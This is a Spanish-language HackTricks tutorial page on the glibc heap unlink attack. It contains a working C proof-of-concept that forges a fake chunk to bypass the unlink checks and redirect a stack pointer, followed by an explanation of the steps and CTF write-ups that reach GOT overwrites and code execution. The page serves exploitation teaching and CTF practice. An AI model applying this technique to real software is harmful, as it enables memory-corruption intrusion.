Unlink Attack
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información Básica
Cuando se descubrió este ataque, principalmente permitía un WWW (Write What Where), sin embargo, se agregaron algunas verificaciones que hicieron que la nueva versión del ataque fuera más interesante, más compleja y inútil.
Ejemplo de Código:
Código
```c #include// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };
int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];
// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf(“Stack pointer to chunk1: %p\n”, &chunk1); printf(“Chunk1: %p\n”, chunk1); printf(“Chunk2: %p\n”, chunk2);
// Assuming attacker has control over chunk1’s contents // Overflow the heap, override chunk2’s header
// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1’s data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker’s fake chunk is ‘unlinked’ // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim’s data free(chunk2); printf(“Chunk1: %p\n”, chunk1); printf(“Chunk1[3]: %x\n”, chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, “Victim’s data”);
// Overwrite victim’s data using chunk1 chunk1[0] = 0x002164656b636168LL;
printf(“%s\n”, data);
return 0; }
</details>
- El ataque no funciona si se utilizan tcaches (después de 2.26)
### Objetivo
Este ataque permite **cambiar un puntero a un chunk para apuntar 3 direcciones antes de sí mismo**. Si esta nueva ubicación (alrededores de donde estaba el puntero) tiene cosas interesantes, como otras asignaciones controlables / stack..., es posible leer/sobrescribirlas para causar un daño mayor.
- Si este puntero estaba ubicado en la pila, porque ahora apunta 3 direcciones antes de sí mismo y el usuario potencialmente puede leerlo y modificarlo, será posible filtrar información sensible de la pila o incluso modificar la dirección de retorno (quizás) sin tocar el canario.
- En ejemplos de CTF, este puntero está ubicado en un array de punteros a otras asignaciones, por lo tanto, al hacer que apunte 3 direcciones antes y poder leer y escribir en él, es posible hacer que los otros punteros apunten a otras direcciones.\
Como potencialmente el usuario puede leer/escribir también las otras asignaciones, puede filtrar información o sobrescribir nuevas direcciones en ubicaciones arbitrarias (como en el GOT).
### Requisitos
- Algún control en una memoria (por ejemplo, pila) para crear un par de chunks dando valores a algunos de los atributos.
- Fuga de pila para poder establecer los punteros del chunk falso.
### Ataque
- Hay un par de chunks (chunk1 y chunk2)
- El atacante controla el contenido de chunk1 y los encabezados de chunk2.
- En chunk1, el atacante crea la estructura de un chunk falso:
- Para eludir las protecciones, se asegura de que el campo `size` sea correcto para evitar el error: `corrupted size vs. prev_size while consolidating`
- y los campos `fd` y `bk` del chunk falso apuntan a donde se almacena el puntero de chunk1 con desplazamientos de -3 y -2 respectivamente, por lo que `fake_chunk->fd->bk` y `fake_chunk->bk->fd` apuntan a la posición en memoria (pila) donde se encuentra la dirección real de chunk1:
<figure><img src="../../images/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
- Los encabezados de chunk2 se modifican para indicar que el chunk anterior no está en uso y que el tamaño es el tamaño del chunk falso contenido.
- Cuando se libera el segundo chunk, este chunk falso se desvincula ocurriendo:
- `fake_chunk->fd->bk` = `fake_chunk->bk`
- `fake_chunk->bk->fd` = `fake_chunk->fd`
- Anteriormente se hizo que `fake_chunk->fd->bk` y `fake_chunk->bk->fd` apuntaran al mismo lugar (la ubicación en la pila donde se almacenó `chunk1`, por lo que era una lista enlazada válida). Como **ambos apuntan a la misma ubicación**, solo el último (`fake_chunk->bk->fd = fake_chunk->fd`) tendrá **efecto**.
- Esto **sobrescribirá el puntero a chunk1 en la pila con la dirección (o bytes) almacenados 3 direcciones antes en la pila**.
- Por lo tanto, si un atacante pudiera controlar nuevamente el contenido de chunk1, podrá **escribir dentro de la pila**, pudiendo potencialmente sobrescribir la dirección de retorno saltándose el canario y modificar los valores y puntos de las variables locales. Incluso modificando nuevamente la dirección de chunk1 almacenada en la pila a una ubicación diferente donde, si el atacante pudiera controlar nuevamente el contenido de chunk1, podrá escribir en cualquier lugar.
- Tenga en cuenta que esto fue posible porque las **direcciones se almacenan en la pila**. El riesgo y la explotación pueden depender de **dónde se almacenan las direcciones del chunk falso**.
<figure><img src="../../images/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## Referencias
- [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit)
- Aunque sería extraño encontrar un ataque de desvinculación incluso en un CTF, aquí tienes algunos informes donde se utilizó este ataque:
- Ejemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- En este ejemplo, en lugar de la pila, hay un array de direcciones malloc'ed. Se realiza el ataque de desvinculación para poder asignar un chunk aquí, por lo tanto, pudiendo controlar los punteros del array de direcciones malloc'ed. Luego, hay otra funcionalidad que permite modificar el contenido de los chunks en estas direcciones, lo que permite apuntar direcciones al GOT, modificar direcciones de funciones para obtener fugas y RCE.
- Otro ejemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- Al igual que en el ejemplo anterior, hay un array de direcciones de asignaciones. Es posible realizar un ataque de desvinculación para hacer que la dirección de la primera asignación apunte a unas pocas posiciones antes de comenzar el array y sobrescribir esta asignación en la nueva posición. Por lo tanto, es posible sobrescribir punteros de otras asignaciones para apuntar al GOT de atoi, imprimirlo para obtener una fuga de libc y luego sobrescribir el GOT de atoi con la dirección de un gadget.
- Ejemplo de CTF con funciones de malloc y free personalizadas que abusan de una vulnerabilidad muy similar al ataque de desvinculación: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- Hay un desbordamiento que permite controlar los punteros FD y BK de malloc personalizado que serán (personalizados) liberados. Además, el heap tiene el bit de ejecución, por lo que es posible filtrar una dirección de heap y apuntar una función del GOT a un chunk de heap con un shellcode para ejecutar.
> [!TIP]
> Aprende y practica Hacking en AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica Hacking en GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprende y practica Hacking en Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Apoya a HackTricks</summary>
>
> - Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
> - **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
>
> </details>
HackTricks

